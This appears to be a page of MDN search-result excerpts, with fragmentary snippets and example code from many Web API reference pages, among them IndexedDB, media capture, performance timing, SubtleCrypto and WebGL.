examples <marquee>this text will scroll from right to left</marquee> <marquee direction="up">this text will scroll from bottom to top</marquee> <marquee direction="down" width="250" height="200" behavior="alternate" style="border:solid"> <marquee behavior="alternate"> this text will bounce </marquee> </marquee> specifications specification status comment html living standardthe definition of 'htmlmarqueeelement' in that specification.
... recommendation no changes.
... recommendation no changes.
... recommendation made obsolete in favor of css but define its expected behavior for backward compatibility.
HTMLOrForeignElement.dataset - Web APIs
camelcase to dash-style conversion the opposite transformation, which maps a key to an attribute name, uses the following rules: restriction: before the transformation, a dash must not be immediately followed by an ascii lowercase letter a to z; the prefix data- is added; any ascii uppercase letter a to z is transformed into a dash, followed by its lowercase counterpart; other characters are left unchanged.
...t.dateofbirth === '' // set the data attribute el.dataset.dateofbirth = '1960-10-03'; // result: el.dataset.dateofbirth === 1960-10-03 delete el.dataset.dateofbirth; // result: el.dataset.dateofbirth === undefined // 'somedataattr' in el.dataset === false el.dataset.somedataattr = 'mydata'; // result: 'somedataattr' in el.dataset === true specifications specification status comment html living standardthe definition of 'htmlelement.dataset' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'htmlelement.dataset' in that specification.
... recommendation snapshot of html living standard, initial definition.
HTMLSpanElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlspanelement' in that specification.
... recommendation html 5.1the definition of 'htmlspanelement' in that specification.
... recommendation html5the definition of 'htmlspanelement' in that specification.
... recommendation initial definition, as <span> was associated with an htmlelement before that.
HTMLStyleElement.media - Web APIs
syntax medium = style.media style.media = medium parameters medium is a string describing a single medium or a comma-separated list.
...screen" /> <style id="inlinestyle" rel="stylesheet" type="text/css" media="screen, print"> p { color: blue; } </style> </head> <body> <script> alert('linkedstyle: ' + document.getelementbyid('linkedstyle').media); // 'screen' alert('inlinestyle: ' + document.getelementbyid('inlinestyle').media); // 'screen, print' </script> </body> </html> specifications specification status comment html living standardthe definition of 'htmlstyleelement' in that specification.
... recommendation html5the definition of 'htmlstyleelement' in that specification.
... recommendation document object model (dom) level 2 html specificationthe definition of 'htmlstyleelement' in that specification.
IDBCursor.continue() - Web APIs
if no key is specified, the cursor advances to the immediate next position, based on its direction.
...success = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'continue()' in that specification.
... recommendation indexed database api draftthe definition of 'continue()' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBDatabase.close() - Web APIs
WebAPIIDBDatabaseclose
the close() method of the idbdatabase interface returns immediately and closes the connection in a separate thread.
... db.close(); }; specification specification status comment indexed database api 2.0the definition of 'close()' in that specification.
... recommendation indexed database api draftthe definition of 'close()' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBDatabase.transaction() - Web APIs
the transaction method of the idbdatabase interface immediately returns a transaction object (idbtransaction) containing the idbtransaction.objectstore method, which you can use to access your object store.
... specification specification status comment indexed database api 2.0the definition of 'transaction()' in that specification.
... recommendation indexed database api draftthe definition of 'transaction()' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBFactory.deleteDatabase() - Web APIs
the method returns an idbopendbrequest object immediately, and performs the deletion operation asynchronously.
... example var dbdeleterequest = window.indexeddb.deletedatabase("todolist"); dbdeleterequest.onerror = function(event) { console.log("error deleting database."); }; dbdeleterequest.onsuccess = function(event) { console.log("database deleted successfully"); console.log(event.result); // should be undefined }; specifications specification status comment indexed database api draftthe definition of 'deletedatabase()' in that specification.
... recommendation indexed database api 2.0the definition of 'deletedatabase()' in that specification.
... recommendation initial definition.
IDBFactory.open() - Web APIs
WebAPIIDBFactoryopen
the method returns an idbopendbrequest object immediately, and performs the open operation asynchronously.
... db = dbopenrequest.result; }; specifications specification status comment indexed database api 2.0the definition of 'open()' in that specification.
... recommendation indexed database api draftthe definition of 'open()' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBObjectStore.clear() - Web APIs
the clear() method of the idbobjectstore interface creates and immediately returns an idbrequest object, and clears this object store in a separate thread.
...on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to clear all the data out of the object store var objectstorerequest = objectstore.clear(); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'clear()' in that specification.
... recommendation indexed database api draftthe definition of 'clear()' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBObjectStore - Web APIs
idbobjectstore.clear() creates and immediately returns an idbrequest object, and clears this object store in a separate thread.
...t allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { note.innerhtml += '<li>request successful .</li>'; } specifications specification status comment indexed database api 2.0the definition of 'idbobjectstore' in that specification.
... recommendation indexed database api draftthe definition of 'idbobjectstore' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBRequest - Web APIs
all asynchronous operations immediately return an idbrequest instance.
... db = dbopenrequest.result; }; specifications specification status comment indexed database api 2.0the definition of 'idbrequest' in that specification.
... recommendation initial definition.
... recommendation ...
IDBTransaction.abort() - Web APIs
syntax transaction.abort(); exceptions this method may raise a domexception of the following type: exception description invalidstateerror the transaction has already been committed or aborted.
...ewitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // abort the transaction we just did transaction.abort(); }; specification specification status comment indexed database api 2.0the definition of 'abort()' in that specification.
... recommendation indexed database api draftthe definition of 'abort()' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBTransaction.error - Web APIs
this property is null if the transaction is not finished, is finished and successfully committed, or was aborted with the idbtransaction.abort method.
...the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'error' in that specification.
... recommendation indexed database api draftthe definition of 'error' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
Basic concepts - Web APIs
it used to include a synchronous version also, for use in web workers, but this was removed from the spec due to lack of interest by the web community.
...thus, you cannot execute commands or open cursors outside of a transaction.
...also, transactions auto-commit and cannot be committed manually.
...dom events always have a type property (in indexeddb, it is most commonly set to "success" or "error").
IndexedDB API - Web APIs
if you'd prefer a simple api, try libraries such as localforage, dexie.js, zangodb, pouchdb, idb, idb-keyval, jsstore and lovefield that make indexeddb more programmer-friendly.
...indexeddb is most commonly talked about.
...this method returns an idbrequest object; asynchronous operations communicate to the calling application by firing events on idbrequest objects.
... storing images and files in indexeddb specifications specification status comment indexed database api draft recommendation indexed database api 2.0 recommendation initial definition ...
MediaList.mediaText - Web APIs
each one is separated by a comma, for example screen and (min-width: 480px), print.
... if you wish to set new media queries on the document, the string value must have the different queries separated by commas, e.g.
...note that the medialist is a live list; updating the list via mediatext will immediately update the behavior of the document.
... const stylesheets = document.stylesheets; let stylesheet = stylesheets[0]; console.log(stylesheet.media.mediatext); specifications specification status comment css object model (cssom)the definition of 'mediatext' in that specification.
MediaStreamTrack.stop() - Web APIs
since multiple tracks may use the same source (for example, if two tabs are using the device's microphone), the source itself isn't necessarily immediately stopped.
... immediately after calling stop(), the readystate property is set to ended.
... specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.stop()' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.sampleSize - Web APIs
the most commonly used sample size for many years now is 16 bits per sample, which was used for cd audio among others.
... other common sample sizes are 8 (for reduced bandwidth requirements) and 24 (for high-resolution professional audio).
... specifications specification status comment media capture and streamsthe definition of 'samplesize' in that specification.
... candidate recommendation initial specification.
Media Source API - Web APIs
while browser support for the various media containers with mse is spotty, usage of the h.264 video codec, aac audio codec, and mp4 container format is a common baseline.
... the two most common use cases for dash involve watching content “on demand” or “live.” on demand allows a developer to take their time transcoding the assets into multiple resolutions of various quality.
... live profile content can introduce latency due to its transcoding and broadcasting, so dash is not suitable for real time communication like webrtc is.
... specifications specification status comment media source extensions recommendation initial definition.
Capabilities, constraints, and settings - Web APIs
applying constraints the first and most common way to use constraints is to specify them when you call getusermedia(): navigator.mediadevices.getusermedia({ video: { width: { min: 640, ideal: 1920 }, height: { min: 400, ideal: 1080 }, aspectratio: { ideal: 1.7777777778 } }, audio: { samplesize: 16, channelcount: 2 } }).then(stream => { videoelement.srcobject = stream; }).catch(handleerror); in this example, ...
... let videodefaultconstraintstring = '{\n "width": 320,\n "height": 240,\n "framerate": 30\n}'; let audiodefaultconstraintstring = '{\n "samplesize": 16,\n "channelcount": 2,\n "echocancellation": false\n}'; these defaults ask for a pretty common camera configuration, but don't insist on any property being of special importance.
... specifications specification status comment media capture and streamsthe definition of 'constrainable pattern' in that specification.
... candidate recommendation initial definition.
MouseEvent - Web APIs
common events using this interface include click, dblclick, mouseup, mousedown.
... example this example demonstrates simulating a click (that is programmatically generating a click event) on a checkbox using dom methods.
...ementbyid("checkbox"); //element to click on var canceled = !cb.dispatchevent(evt); if(canceled) { // a handler called preventdefault alert("canceled"); } else { // none of the handlers called preventdefault alert("not canceled"); } } document.getelementbyid("button").addeventlistener('click', simulateclick); result specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent' in that specification.
... candidate recommendation from document object model (dom) level 3 events specification, added movementx and movementy properties.
Node.nodeType - Web APIs
WebAPINodenodeType
it distinguishes different kind of nodes from each other, such as elements, text and comments.
... node.comment_node 8 a comment node, such as <!-- … -->.
... different types of nodes document.nodetype === node.document_node; // true document.doctype.nodetype === node.document_type_node; // true document.createdocumentfragment().nodetype === node.document_fragment_node; // true var p = document.createelement("p"); p.textcontent = "once upon a time…"; p.nodetype === node.element_node; // true p.firstchild.nodetype === node.text_node; // true comments this example checks if the first node inside the document element is a comment, and displays a message if not.
... var node = document.documentelement.firstchild; if (node.nodetype !== node.comment_node) { console.warn("you should comment your code!"); } specifications specification status comment domthe definition of 'node.nodetype' in that specification.
Using the Notifications API - Web APIs
this is a common requirement when an api tries to interact with something outside a web page — at least once, the user needs to specifically grant that application permission to present notifications, thereby letting the user control which apps/sites are allowed to display notifications.
...this is not only best practice — you should not be spamming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notification permission requests not triggered in response to a user gesture.
...to avoid spamming the user with too many notifications, it's possible to modify the pending notifications queue, replacing single or multiple pending notifications with a new one.
...; } }, 200); } // otherwise, we can fallback to a regular modal alert else { alert("hi!"); } }); } // if the user refuses to get notified else { // we can fallback to a regular modal alert alert("hi!"); } }); }); see the live result below: specifications specification status comment notifications api living standard living standard ...
ParentNode.querySelectorAll() - Web APIs
multiple selectors may be specified by separating them using commas.
... examples to obtain a nodelist of all of the <p> elements in the document: var matches = document.queryselectorall("p"); this example returns a list of all <div> elements within the document with a class of either note or alert: var matches = document.queryselectorall("div.note, div.alert"); here, we get a list of <p> elements whose immediate parent element is a <div> with the class highlighted and which are located inside a container whose id is test.
...= document.queryselectorall("iframe[data-src]"); here, an attribute selector is used to return a list of the list items contained within a list whose id is userlist which have a data-active attribute whose value is 1: var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active=1]"); user notes queryselectorall() behaves differently than most common javascript dom libraries, which might lead to unexpected results.
... the :scope pseudo-class restores the expected behavior, only matching selectors on descendants of the base element: var select = document.queryselector('.select'); var inner = select.queryselectorall(':scope .outer .inner'); inner.length; // 0 specifications specification status comment domthe definition of 'parentnode.queryselectorall()' in that specification.
PaymentAddress.toJSON() - Web APIs
specifications specification status comment web idlthe definition of 'tojson()' in that specification.
... candidate recommendation initial definition.
...requires the comma-delineated list in dom.payments.request.supportedregions to contain one or more of the supported 2-character iso locales, currently us and ca.disabled from version 62: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...requires the comma-delineated list in dom.payments.request.supportedregions to contain one or more of the supported 2-character iso locales, currently us and ca.disabled from version 62: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
PaymentRequest.show() - Web APIs
usage notes the most common patterns for using show() involve either the async/await syntax or the use of show().then().catch() to handle the response and any possible rejection.
... instead of immediately failing, you could choose to call retry() on the response object to ask the user agent to try to process the payment again; this should usually only be done after the user has made any needed corrections to the order.
...} document.getelementbyid("buybutton").onclick = requestpayment; specifications specification status comment payment request apithe definition of 'show(optional detailspromise)' in that specification.
... candidate recommendation initial definition.
PerformanceEntry.startTime - Web APIs
"resource" - returns the timestamp immediately before the browser starts fetching the resource.
... = not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'starttime' in that specification.
... candidate recommendation performance timelinethe definition of 'starttime' in that specification.
... recommendation initial definition.
PerformanceResourceTiming.connectStart - Web APIs
the connectstart read-only property returns the timestamp immediately before the user agent starts establishing the connection to the server to retrieve the resource.
... syntax resource.connectstart; return value a domhighrestimestamp immediately before the browser starts to establish the connection to the server to retrieve the resource.
..." + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'connectstart' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.domainLookupEnd - Web APIs
the domainlookupend read-only property returns the timestamp immediately after the browser finishes the domain name lookup for the resource.
... syntax resource.domainlookupend; return value a domhighrestimestamp representing the time immediately after the browser finishes the domain name lookup for the resource.
..." + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'domainlookupend' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.domainLookupStart - Web APIs
the domainlookupstart read-only property returns the timestamp immediately before the browser starts the domain name lookup for the resource.
... syntax resource.domainlookupstart; return value a domhighrestimestamp immediately before the browser starts the domain name lookup for the resource.
..." + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'domainlookupstart' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.requestStart - Web APIs
the requeststart read-only property returns a timestamp of the time immediately before the browser starts requesting the resource from the server, cache, or local resource.
... syntax resource.requeststart; return value a domhighrestimestamp representing the time immediately before the browser starts requesting the resource from the server example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
..." + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'requeststart' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.responseEnd - Web APIs
the responseend read-only property returns a timestamp immediately after the browser receives the last byte of the resource or immediately before the transport connection is closed, whichever comes first.
... syntax resource.responseend; return value a domhighrestimestamp immediately after the browser receives the last byte of the resource or immediately before the transport connection is closed, whichever comes first.
..." + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'responseend' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.responseStart - Web APIs
the responsestart read-only property returns a timestamp immediately after the browser receives the first byte of the response from the server, cache, or local resource.
... syntax resource.responsestart; return value a domhighrestimestamp immediately after the browser receives the first byte of the response from the server.
..." + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'responsestart' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.secureConnectionStart - Web APIs
the secureconnectionstart read-only property returns a timestamp immediately before the browser starts the handshake process to secure the current connection.
... syntax resource.secureconnectionstart; return value if the resource is fetched over a secure connection, a domhighrestimestamp immediately before the browser starts the handshake process to secure the current connection.
..." + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'secureconnectionstart' in that specification.
... candidate recommendation initial definition.
Pointer events - Web APIs
most commonly, the sensing device is a touch-enabled screen that can sense input from an input device such as a pen, stylus, or finger.
... the target element (node) should be large enough to accommodate the largest contact surface area (typically a finger touch).
... specifications specification status comment pointer events – level 3 editor's draft added new apis for getcoalescedevent and getpredictedevents, new pointerrawupdate event, additional touch-action property values pan-left, pan-right, pan-up, pan-down.
... pointer events – level 2 recommendation adds haspointercapture method and clarifies more edge cases and dynamic scenarios.
Web Push API Notifications best practices - Web APIs
this article provides a useful summary of best practices to keep in mind when developing web sites and applications that use push notifications for user engagement.
...searching the web for "web push notifications," you'll find articles from marketing experts who believe you should use push to re-engage people who have left your site so they can complete a purchase, or be sent the latest news, or receive links to recommended products.
...let’s say you and your team commonly use a chat program to communicate, but today you’re happily working somewhere, and problem comes up.
...sometimes they can eliminate frustration and annoyance, and sometimes they can cause them, and it’s up to you as a developer to make wise recommendations (and decisions) about the use of push notifications.
RTCPeerConnection.setIdentityProvider() - Web APIs
the rtcpeerconnection.setidentityprovider() method sets the identity provider (idp) to the triplet given in parameter: its name, the protocol used to communicate with it (optional) and an optional username.
... protocol optional is a domstring representing the protocol used to communicate with the idp.
... example var pc = new peerconnection(); pc.setidentityassertion("developer.mozilla.org"); specifications specification status comment identity for webrtcthe definition of 'rtcpeerconnection.setidentityprovider()' in that specification.
... candidate recommendation ...
RTCRtpSender.replaceTrack() - Web APIs
among the use cases for replacetrack() is the common need to switch between the rear- and front-facing cameras on a phone.
...the promise is rejected if the track cannot be replaced for any reason; this is commonly because the change would require renegotiation of the codec, which is not allowed (see things that require negotiation).
...k = stream.getvideotracks()[0]; pcs.foreach(function(pc) { var sender = pc.getsenders().find(function(s) { return s.track.kind == videotrack.kind; }); console.log('found sender:', sender); sender.replacetrack(videotrack); }); }) .catch(function(err) { console.error('error happens:', err); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.replacetrack()' in that specification.
... candidate recommendation ...
SVGGraphicsElement - Web APIs
svggraphicselement.getctm() returns a dommatrix representing the matrix that transforms the current element's coordinate system to its svg viewport's coordinate system.
... svggraphicselement.getscreenctm() returns a dommatrix representing the matrix that transforms the current element's coordinate system to the coordinate system of the svg viewport for the svg document fragment.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggraphicselement' in that specification.
... candidate recommendation initial definition ...
SVGUnitTypes - Web APIs
the svgunittypes interface defines a commonly used set of constants used for reflecting gradientunits, patterncontentunits and other similar attributes.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgunittypes' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgunittypes' in that specification.
... recommendation initial definition ...
Screen Wake Lock API - Web APIs
the screen wake lock api provides a way to prevent devices from dimming or locking the screen when an application needs to keep running.
... the screen wake lock api prevents the screen from turning off, dimming or locking.
... screen wake lock api interfaces wakelock the wakelock interface prevents device screens from dimming or locking when an application needs to keep running.
... specifications specification status comment screen wake lock api unknown initial definition.
Selection - Web APIs
WebAPISelection
safari and chrome (unlike firefox) currently focus the element containing selection when modifying the selection programmatically; it's possible that this may change in the future (see w3c bug 14383 and webkit bug 38696).
... behavior of selection api in terms of editing host focus changes the selection api has a common behavior (i.e., shared between browsers) that governs how focus behavior changes for editing hosts after certain methods are called.
...range objects can also be created via the dom and programmatically added or removed from a selection.
... specifications specification status comment selection apithe definition of 'selection' in that specification.
Using server-sent events - Web APIs
you can take action on this programmatically by implementing the onerror callback on the eventsource object: evtsource.onerror = function(err) { console.error("eventsource failed:", err); }; closing event streams by default, if the connection between the client and server closes, the connection is restarted.
...a colon as the first character of a line is in essence a comment, and is ignored.
... note: the comment line can be used to prevent connections from timing out; a server can send a comment periodically to keep the connection alive.
...the first is just a comment, since it starts with a colon character.
ServiceWorkerGlobalScope.skipWaiting() - Web APIs
use this method with clients.claim() to ensure that updates to the underlying service worker take effect immediately for both the current client and all other active clients.
... syntax serviceworkerglobalscope.skipwaiting().then(function() { //do something }); returns a promise that immediately resolves with undefined.
...therefore, it's common to call self.skipwaiting() from inside of an installevent handler.
... self.skipwaiting(); // perform any other actions required for your // service worker to install, potentially inside // of event.waituntil(); }); specifications specification status comment service workersthe definition of 'skipwaiting()' in that specification.
SubtleCrypto.generateKey() - Web APIs
use the generatekey() method of the subtlecrypto interface to generate a new key (for symmetric algorithms) or key pair (for public-key algorithms).
... return value result is a promise that fulfills with a cryptokey (for symmetric algorithms) or a cryptokeypair (for public-key algorithms).
... let key = window.crypto.subtle.generatekey( { name: "aes-gcm", length: 256 }, true, ["encrypt", "decrypt"] ); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.generatekey()' in that specification.
... recommendation initial definition.
SubtleCrypto.importKey() - Web APIs
str.charcodeat(i); } return buf; } const pemencodedkey = `-----begin private key----- miievqibadanbgkqhkig9w0baqefaascbkcwggsjageaaoibaqdd0tpv/du2vftjvxj1t/gxtk39snbvroaeb/jkzxae+xa0h+3lhzaqiqnmfacibsgifzuvegb+7tqxwqpolofr/r7mvgwcsk98jyrvtved8zmzyyitsy7m2hcasqafikyoouv5vzyre87/leyzzbpf3bqq4idaqu+k9hj5fkuu6rroeohsdnjc+vddqlschxvmolz9vtt+ok9j4/tolwr4cg8khdlburcby6gpclo3dpu09sw+6ctx2cx4mkxx6o/0mmdtmacr/vu50kdrmlefezyowpaehhmfywybtuzbipvizvp8wfcsknmbfi1s9a9pdbqnebwwhhx3/hsebt2bagmbaaecggeabei1p6nf6zs7mjlybdv+pfl5rjl2coqly6tovvzvblmkcppjyfunipdk2tk2i897zaxfhpdbikmllm2hq6jzqkb110oantpdg0jxzmiihps32s1d/kilhjgff4hjd4nxp1l1dp8bupollorr2tym2x6dccgfw9lhtr8o03qp4hjn84vjgiwadyck83mgs4nrsnhkdiqynwx1ajkly51yek6rcrdmi0th2rxrrinoc35svv+apt2rkomgi52rwtesea1kzgfrxjq61rejif6p2vxecvhex6cwlx014lgk43z6q28p6h...
...ja5sobzk73/9/mbekusdmjprhalzqfmujrwioevdmhfg3tw/rbj5ryatp2dtvumqkbgds8yr52drmt+bwxofwwawb0nhyhsfz/c8v4d4ip5dj5m5kuqquxjwksysgqa40sbqnd05fbqovplu48hfgr/zghn9hujbcsozovozr4srw0uztbva+7jzoz1hkaoywiulr6vca0yurnlj6g5r56+srnkioetupi2dlczcqb0poxaogazynhvtlvizn4igsrjz5qkm4liwbithfadxbv1fq6pt0o/bgf2o+cedq0diylgk64cevwbwsbnsg4vzlbqriauejljwedajya4ee8y5a9l04dzv7njb5crak6crgxxay/mbjrftahxvlazgxypgsye6ufs0+3eommevvdzqbf4qecgyea0zf6vavz28+8wlo6sp3w8nmphk7k9tgevufq30sgdx4g7qpigfprbb4op/e0qcfsiimi3scppjvumqdvvzypoimub+rv3zoxkrzxeuorpopr48fzbl7rn90yrqsasrp9e4iv8qwb3vxle7x0tdqqnryqrc/osgzus2zchokmcu8= -----end private key-----`; /* import a pem encoded rsa private key, to use for rsa-pss signing.
...*/ function importprivatekey(jwk) { return window.crypto.subtle.importkey( "jwk", jwk, { name: "ecdsa", namedcurve: "p-384" }, true, ["sign"] ); } specifications specification status comment web cryptography apithe definition of 'subtlecrypto.importkey()' in that specification.
... recommendation initial definition.
TouchEvent.metaKey - Web APIs
summary a boolean value indicating whether or not the meta key is enabled when the touch event is created.
... note: on macintosh keyboards, this is the ⌘ command key.
... specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
URLSearchParams.set() - Web APIs
line #41: comment out this line to stop dumping the search parameters to the console (debug).
... line #44: tries to automatically open a new window/tab with the generated url (when uncommented).
...params.set( 'input', '\u2911\u20dc' )// ⤑⃜ theurl.searchparams.set( 'text', atext.join('\n') ) if( bdebug ){ // display the key/value pairs for(var pair of theurl.searchparams.entries()) { console.debug(pair[0] + ' = \'' + pair[1] + '\''); } console.debug(theurl) } return theurl } var url = genurl( /(^\s*\/\/|\s*[^:]\/\/).*\s*$|\s*\/\*(.|\n)+?\*\/\s*$/gm // single/multi-line comments // /(^\s*\/\/.*|\s*[^:]\/\/.*)/g // single-line comments ,[ "these should work:", "", "// eslint-disable-next-line no-unused-vars", "lockpref( 'keyword.url',\t\t'https://duckduckgo.com/html/?q=!+' )\t// test", "/*", " * bla bla ", "*/", "", "/* bla bla */", "", "// bla bla ", "", "these shouldn\'t work:", "console.log(\"http://foo.co.uk/\")", "va...
...r url = \"http://regexr.com/foo.html?q=bar\"", "alert(\"https://mediatemple.net\")", ] , true ) console.info( url, url.tostring() ) // window.open( url, 'regex_site' ) specifications specification status comment urlthe definition of 'set()' in that specification.
USBDevice.controlTransferIn() - Web APIs
the controltransferin() method of the usbdevice interface returns a promise that resolves with a usbintransferresult when the result of a command or status request has been received from the usb device.
...the available options are: requesttype: must be one of three values specifying whether the tranfer is "standard" (common to all usb devices) "class" (common to an industry-standard class of devices) or "vendor".
... request: a vendor-specific command.
... specifications specification status comment webusbthe definition of 'controltransferin()' in that specification.
ValidityState.stepMismatch - Web APIs
if the remainder of the form control's value less the min value, divided by the step value (which defaults to 1 if ommitted) is not zero, there is a mismatch.
... specifications specification status comment html living standardthe definition of 'validitystate.stepmismatch' in that specification.
... recommendation html5the definition of 'validitystate.stepmismatch' in that specification.
... recommendation ...
WebGL2RenderingContext - Web APIs
webgl2renderingcontext.uniformmatrix[234]x[234]fv() methods specifying matrix values for uniform variables.
... sync objects webgl2renderingcontext.fencesync() creates a new webglsync object and inserts it into the gl command stream.
... webgl2renderingcontext.waitsync() returns immediately, but waits on the gl server until the given webglsync object is signaled.
... specifications specification status comment webgl 2.0the definition of 'webgl2renderingcontext' in that specification.
WebGLRenderingContext.disable() - Web APIs
when using a webgl 2 context, the following values are available additionally: constant description gl.rasterizer_discard deactivates that primitives are discarded immediately before the rasterization stage, but after the optional transform feedback stage.
... gl.clear() commands are ignored.
... examples gl.disable(gl.dither); to check if a capability is disabled, use the webglrenderingcontext.isenabled() method: gl.isenabled(gl.dither); // false specifications specification status comment webgl 1.0the definition of 'disable' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.enable() - Web APIs
when using a webgl 2 context, the following values are available additionally: constant description gl.rasterizer_discard primitives are discarded immediately before the rasterization stage, but after the optional transform feedback stage.
... gl.clear() commands are ignored.
... examples gl.enable(gl.dither); to check if a capability is enabled, use the webglrenderingcontext.isenabled() method: gl.isenabled(gl.dither); // true specifications specification status comment webgl 1.0the definition of 'enable' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.getTexParameter() - Web APIs
gl.texture_immutable_format glboolean immutability of the texture format and size true or false.
... gl.texture_immutable_levels gluint ?
... examples gl.gettexparameter(gl.texture_2d, gl.texture_mag_filter); specifications specification status comment webgl 1.0the definition of 'gettexparameter' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.isEnabled() - Web APIs
when using a webgl 2 context, the following values are available additionally: constant description gl.rasterizer_discard primitives are discarded immediately before the rasterization stage, but after the optional transform feedback stage.
... gl.clear() commands are ignored.
... examples gl.isenabled(gl.stencil_test); // false to activate or deactivate a specific capability, use the webglrenderingcontext.enable() and webglrenderingcontext.disable() methods: gl.enable(gl.stencil_test); gl.disable(gl.stencil_test); specifications specification status comment webgl 1.0the definition of 'isenabled' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.scissor() - Web APIs
examples when the scissor test is enabled, only pixels within the scissor box can be modified by drawing commands.
... // turn on scissor test gl.enable(gl.scissor_test); // set the scissor rectangle gl.scissor(x, y, width, height); // execute drawing commands in the scissor box (e.g.
... gl.scissor(0, 0, 200, 200); gl.getparameter(gl.scissor_box); // int32array[0, 0, 200, 200] specifications specification status comment webgl 1.0the definition of 'scissor' in that specification.
... recommendation initial definition.
Basic scissoring - Web APIs
although the clear() drawing command writes the clear color (set by clearcolor()) to all pixels in the drawing buffer, scissor() defines a mask that only allows pixels inside the specified rectangular area to be updated.
...if they fail the test, they are immediately discarded, no further processing occurs, and pixels are not updated.
...this again demonstrates the typical order of commands in webgl.
...only when the webgl state has been satisfactorily tweaked, we execute the drawing command (in this case, clear()) that starts the processing of fragments down the graphics pipeline.
WebGL constants - Web APIs
r32ui 0x8236 rg8i 0x8237 rg8ui 0x8238 rg16i 0x8239 rg16ui 0x823a rg32i 0x823b rg32ui 0x823c r8_snorm 0x8f94 rg8_snorm 0x8f95 rgb8_snorm 0x8f96 rgba8_snorm 0x8f97 rgb10_a2ui 0x906f texture_immutable_format 0x912f texture_immutable_levels 0x82df pixel types constant name value description unsigned_int_2_10_10_10_rev 0x8368 unsigned_int_10f_11f_11f_rev 0x8c3b unsigned_int_5_9_9_9_rev 0x8c3e float_32_unsigned_int_24_8_rev 0x8dad unsigned_int_24_8 0x84fa ...
... uniform_block_referenced_by_vertex_shader 0x8a44 uniform_block_referenced_by_fragment_shader 0x8a46 sync objects constant name value description object_type 0x9112 sync_condition 0x9113 sync_status 0x9114 sync_flags 0x9115 sync_fence 0x9116 sync_gpu_commands_complete 0x9117 unsignaled 0x9118 signaled 0x9119 already_signaled 0x911a timeout_expired 0x911b condition_satisfied 0x911c wait_failed 0x911d sync_flush_commands_bit 0x00000001 miscellaneous constants constant name value description ...
... specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext' in that specification.
... recommendation initial definition webgl 2.0the definition of 'webgl2renderingcontext' in that specification.
Matrix math for the web - Web APIs
in math these numbers would be described as commutative.
... matrices are not guaranteed to be the same if the order is switched, so matrices are non-commutative.
... let transformmatrix = mdn.multiplyarrayofmatrices([ rotatearoundzaxis(math.pi * 0.5), // step 3: rotate around 90 degrees translate(0, 200, 0), // step 2: move down 100 pixels scale(0.8, 0.8, 0.8), // step 1: scale down ]); view on jsfiddle finally, a fun step to show how matrices work is to reverse the steps to bring the matrix back to the original identity matrix.
